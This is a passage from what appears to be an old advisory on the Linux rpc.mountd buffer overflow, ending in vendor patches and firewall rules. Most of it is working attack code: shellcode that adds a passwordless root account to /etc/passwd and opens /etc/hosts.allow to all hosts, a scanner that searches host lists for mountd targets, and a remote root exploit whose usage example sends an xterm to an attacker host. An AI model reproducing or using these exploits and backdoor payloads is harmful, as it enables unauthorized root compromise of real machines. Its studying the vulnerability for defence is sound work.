%#endif /*!_rpcsvc_mount_h*/
#endif
------------------------------------------------------------------------
CUT_HERE : next file is makeit [ script for building the stuff ]
------------------------------------------------------------------------
#!/bin/bash
rpcgen -C nfsmount.x
gcc -c -g nfsmount.c
gcc -o mx nfsmount.o nfsmount_xdr.c
---------------------------------------------------------------------------
CUT_HERE : next file is the asm code... just to have the entire source code
---------------------------------------------------------------------------
/*
really ugly code. It does :
int fd = open("/etc/passwd", O_RDWR);
lseek(fd, 0, SEEK_END);
write(fd, "z::0:0::/:/bin/sh\n", 18);
close(fd);
int fd = open("/etc/hosts.allow", O_RDWR);
lseek(fd, 0, SEEK_END);
write(fd, "ALL:ALL\n", 8);
close(fd);
exit(?);
*/
#include <stdio.h>
main()
{
__asm__("jmp eofcode
here:
popl %esi
pushl %esi
pushl %esi
pushl %esi
xorl %edx, %edx
movb %dl, 11(%esi)
movb %dl, 30(%esi)
movb %dl, 39(%esi)
movb %dl, 56(%esi)
movb $0x0a, %dl
movb %dl, 29(%esi)
movb %dl, 38(%esi)
popl %ebx
xorl %ecx, %ecx
incl %ecx
incl %ecx
xor %eax, %eax
movb $0x05, %al
int $0x80
pushl %eax
movl %eax, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
movb $0x02, %dl
xorl %eax, %eax
movb $0x13, %al
int $0x80
popl %eax
movl %eax, %edx
movl %eax, %ebx
popl %ecx
pushl %edx
xorl %edx, %edx
movb $0x0c, %dl
addl %edx, %ecx
movb $0x13, %dl
xorl %eax, %eax
movb $0x04, %al
xorl %edx, %edx
movb $0x12, %dl
int $0x80
popl %ebx
xorl %eax, %eax
movb $0x06, %al
int $0x80
jmp cont1
eofcode:
call here
.string \"/etc/passwdxz::0:0::/:/bin/shxxALL:ALLxx/etc/hosts.allowx\"
cont1:
popl %ebx
pushl %ebx
xorl %ecx, %ecx
movb $40, %cl
addl %ecx, %ebx
movb $02, %cl
xor %eax, %eax
movb $05, %al
int $0x80
pushl %eax
movl %eax, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
movb $0x02, %dl
xorl %eax, %eax
movb $0x13, %al
int $0x80
popl %ebx
popl %ecx
pushl %ebx
xorl %edx, %edx
movb $31, %dl
addl %edx, %ecx
movb $8, %dl
xorl %eax, %eax
movb $4, %al
int $0x80
popl %ebx
xorl %eax, %eax
movb $0x06, %al
int $0x80
xor %eax, %eax
incl %eax
int $0x80
.string \"theeeeeeeeeeend\"
");
}
And here comes rpc.mountd scanner:
/*
* rpc.mountd scanner by JWK
*
* ripped from statd scanner made by -uh- unknown
* credits go to [The Warlords] on IRCNet, conflict on EFNet
* and lucian.net team (http://www.lucian.net)
* Thanx acey :-)
*
* gcc -o scan mountdscan.c
*
* you can use mscan ip database as input file or whatevr
*/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <signal.h>
#include <rpc/rpc.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#define ERROR -1
void woopy(int s);
void usage(char *s);
void scan(char *i, char *o);
int statd(char *host);
unsigned long int res(char *p);
void usage(char *s)
{
printf("Usage: %s <inputfile> <outputfile>\n",s);
exit(ERROR);
}
void main(int argc, char **argv)
{
if(argc < 3) usage(argv[0]);
scan(argv[1], argv[2]);
}
void scan(char *i, char *o)
{
FILE *iff, *of;
char buf[512];
if((iff=fopen(i,"r")) == NULL)
return;
while(fgets(buf,512,iff) != NULL)
{
if(buf[strlen(buf)-1]=='\n')
buf[strlen(buf)-1]=0;
if(statd(buf) && (of=fopen(o,"a")) != NULL) {
buf[strlen(buf)+1]=0;
buf[strlen(buf)]='\n';
fputs(buf,of);
fclose(of);
}
}
fclose(iff);
}
void woopy(int s)
{
return;
}
int statd(char *host)
{
struct sockaddr_in server_addr;
struct pmaplist *head = NULL;
int sockett = RPC_ANYSOCK;
struct timeval minutetimeout;
register CLIENT *client;
struct rpcent *rpc;
server_addr.sin_addr.s_addr=res(host);
server_addr.sin_family=AF_INET;
server_addr.sin_port = htons(PMAPPORT);
minutetimeout.tv_sec = 15;
minutetimeout.tv_usec = 0;
signal(SIGALRM,woopy);
alarm(15);
if ((client = clnttcp_create(&server_addr, PMAPPROG,
PMAPVERS, &sockett, 50, 500)) == NULL) {
alarm(0);
signal(SIGALRM,SIG_DFL);
return 0;
}
alarm(0);
signal(SIGALRM,SIG_DFL);
if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS)
return 0;
if (head != NULL)
for (; head != NULL; head = head->pml_next)
if((rpc = getrpcbynumber(head->pml_map.pm_prog)))
if(strcmp(rpc->r_name,"mountd") == 0)
return 1;
return 0;
}
unsigned long int res(char *p)
{
struct hostent *h;
unsigned long int rv;
h=gethostbyname(p);
if(h!=NULL)
memcpy(&rv,h->h_addr,h->h_length);
else
rv=inet_addr(p);
return rv;
}
Taheo's version of exploit:
/*
Mountd exploit code for x86 linux
Remote user can gain root access.
Tested redhat linux : 5.1
Tested mountd version : 2.2beta29
What requires
/bin/mount and root access
Usage
$ mountd-ex <hostname> <command> [offset]
Warning : This program can crash mountd.
This program is only for demonstrative use only.
USE IT AT YOUR OWN RISK!
Programmed by Taeho Oh 1998/10/19
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
*/
#include <stdio.h>
#include <stdlib.h>
#define OFFSET 0
#define RET_POSITION 984
#define RANGE 20
#define NOP 0x90
char shellcode[400]=
"\xeb\x35" /* jmp 0x35 */
"\x5e" /* popl %esi */
"\x89\x76\x0b" /* movl %esi,0xb(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x0b" /* addl $0xb,%eax */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x88\x46\x0a" /* movb %eax,0xa(%esi) */
"\x88\x46\x0b" /* movb %eax,0xb(%esi) */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */
"\x8d\x56\x0b" /* leal 0xb(%esi),%edx */
"\xcd\x80" /* int 0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int 0x80 */
"\xe8\xc6\xff\xff\xff" /* call -0x3a */
"/bin/sh -c "; /* .string "/bin/sh -c "*/
char command[400];
void usage()
{
printf("Warning : This program can crash mountd\n");
printf("Usage: mountd-ex <hostname> <command> [offset]\n");
printf("ex) mountd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
char mntarg[RET_POSITION+RANGE+300];
long *addr_ptr,addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
int i;
printf("Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara\n");
printf("PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus\n");
printf("PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug\n\n");
if(argc<3)
{
usage();
exit(1);
}
if(argc>2)
{
strcpy(mntarg,argv[1]);
strcpy(command,argv[2]);
}
if(argc>3)
offset=atoi(argv[3]);
shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
shellcode[32]=(shellcode[32]+strlen(command));
shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
strcat(shellcode,command);
sp=0xbffff113;
addr=sp-offset;
ptr=buff+1;
addr_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
strcat(mntarg,":");
strcat(mntarg,buff);
mntarg[1023]='\0';
execl("/bin/mount","mount","-t","nfs",mntarg,"tmp",NULL);
}
SOLUTION
Caldera
=======
Caldera provided a fixed version as nfs-server-2.2beta35-2 on Aug
28. It is available from:
ftp://ftp.caldera.com/pub/OpenLinux/updates/1.2/013
Red Hat Software, Inc.
======================
All versions of Red Hat Linux are vulnerable, and have provided
fixed packages for all our users. Updated nfs-server packages are
available from our site at:
http://www.redhat.com/support/docs/errata.html
You can remove rpc from redhat 5.x by removing the following
files from /etc/rc.d/rc[345].d (depending on you runlevel):
S40portmap (should be fine on its own, but the remainder for
completeness), S60nfsd.
You can shut down rpc any time by running:
/etc/rc.d/init.d/portmap stop
Under Slackware, it's a bit harder, but just comment out the
portmapper and nfsd in /etc/rc*, and kill the running daemon with:
killall portmap
For other systems, look through /etc/rc*, and do the same as
above. To kill, shorthand as:
kill `ps awx | grep portmap | awk '{ print $1 }'`
To block portmap traffic from the Internet, try these rules:
On a Linux "router" -
------------------------------------------------------------
ipfwadm -I -a accept -P TCP -S 192.168.1.0/24 \
-D 0.0.0.0/0 111
ipfwadm -I -a accept -P TCP -S 192.168.1.0/24 \
-D 0.0.0.0/0 635
ipfwadm -I -a deny -P TCP -S 0.0.0.0/0 -D 0.0.0.0/0 111
ipfwadm -I -a deny -P TCP -S 0.0.0.0/0 -D 0.0.0.0/0 635
------------------------------------------------------------
(for a stand-alone Linux box, these will work too.)
(and replace 192.168.1.0/24 with your subnets)
(and put this into your rc.local)
On a FreeBSD "router" -
------------------------------------------------------------
ipfw add 60000 allow tcp from 192.168.1.0/24 to any 111,635
ipfw add 60000 allow tcp from any 111,635 to 192.168.1.0/24
ipfw add 60001 deny tcp from any to any 111,635
------------------------------------------------------------
(same as above, replace 192.168.1.0/24 with yours)
(put in either rc.firewall or rc.local)
(adjust numbers as per your firewal config)
If you still need mountd, and are running RedHat, there is a
bunch of rpm upgrades you should do, versions below:
nfs-server-2.2beta29-7.i386.rpm
nfs-server-clients-2.2beta29-7.i386.rpm